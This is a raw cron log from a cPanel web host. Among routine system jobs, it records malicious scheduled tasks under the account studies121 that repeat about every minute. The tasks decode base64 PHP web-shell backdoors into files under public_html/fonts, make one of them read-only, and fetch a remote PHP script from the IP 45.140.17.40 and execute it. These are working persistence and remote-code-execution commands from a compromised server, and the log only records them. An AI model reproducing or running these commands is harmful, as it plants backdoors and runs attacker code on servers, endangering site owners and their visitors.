Sep  8 18:53:01 ip-184-168-122-23 CROND[8257]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:53:01 ip-184-168-122-23 CROND[8259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:54:01 ip-184-168-122-23 CROND[8447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:54:01 ip-184-168-122-23 CROND[8450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:54:01 ip-184-168-122-23 CROND[8451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:54:01 ip-184-168-122-23 CROND[8449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:54:01 ip-184-168-122-23 CROND[8452]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 18:55:01 ip-184-168-122-23 CROND[8669]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:55:01 ip-184-168-122-23 CROND[8672]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 18:55:01 ip-184-168-122-23 CROND[8671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:55:01 ip-184-168-122-23 CROND[8673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:55:01 ip-184-168-122-23 CROND[8674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:55:01 ip-184-168-122-23 CROND[8675]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 18:56:01 ip-184-168-122-23 CROND[8888]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:56:01 ip-184-168-122-23 CROND[8890]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 18:56:01 ip-184-168-122-23 CROND[8891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:56:01 ip-184-168-122-23 CROND[8892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:56:01 ip-184-168-122-23 CROND[8893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:57:01 ip-184-168-122-23 CROND[9205]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:57:01 ip-184-168-122-23 CROND[9208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:57:01 ip-184-168-122-23 CROND[9209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:57:01 ip-184-168-122-23 CROND[9207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:58:01 ip-184-168-122-23 CROND[9372]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 18:58:01 ip-184-168-122-23 CROND[9374]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:58:01 ip-184-168-122-23 CROND[9375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:58:01 ip-184-168-122-23 CROND[9376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:58:01 ip-184-168-122-23 CROND[9378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:59:01 ip-184-168-122-23 CROND[9588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:59:01 ip-184-168-122-23 CROND[9589]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:59:01 ip-184-168-122-23 CROND[9590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:59:01 ip-184-168-122-23 CROND[9591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:00:01 ip-184-168-122-23 CROND[9751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:00:01 ip-184-168-122-23 CROND[9753]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 19:00:01 ip-184-168-122-23 CROND[9755]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 19:00:01 ip-184-168-122-23 CROND[9756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:00:01 ip-184-168-122-23 CROND[9759]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 19:00:01 ip-184-168-122-23 CROND[9757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:00:01 ip-184-168-122-23 CROND[9762]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:00:01 ip-184-168-122-23 CROND[9761]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 19:01:01 ip-184-168-122-23 CROND[9865]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 19:01:01 ip-184-168-122-23 CROND[9867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:01:01 ip-184-168-122-23 CROND[9869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:01:01 ip-184-168-122-23 CROND[9870]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:01:01 ip-184-168-122-23 CROND[9866]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 19:01:01 ip-184-168-122-23 CROND[9868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9865]: starting 0anacron
Sep  8 19:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9885]: finished 0anacron
Sep  8 19:02:01 ip-184-168-122-23 CROND[10059]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:02:01 ip-184-168-122-23 CROND[10060]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 19:02:01 ip-184-168-122-23 CROND[10063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:02:01 ip-184-168-122-23 CROND[10062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:02:01 ip-184-168-122-23 CROND[10064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:03:01 ip-184-168-122-23 CROND[10175]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:03:01 ip-184-168-122-23 CROND[10177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:03:01 ip-184-168-122-23 CROND[10178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:03:01 ip-184-168-122-23 CROND[10179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:04:01 ip-184-168-122-23 CROND[10286]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 19:04:01 ip-184-168-122-23 CROND[10287]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:04:01 ip-184-168-122-23 CROND[10288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:04:01 ip-184-168-122-23 CROND[10289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:04:01 ip-184-168-122-23 CROND[10290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:05:01 ip-184-168-122-23 CROND[10397]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 19:05:01 ip-184-168-122-23 CROND[10399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:05:01 ip-184-168-122-23 CROND[10400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:05:01 ip-184-168-122-23 CROND[10401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:05:01 ip-184-168-122-23 CROND[10404]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 19:05:01 ip-184-168-122-23 CROND[10402]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:05:01 ip-184-168-122-23 CROND[10403]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
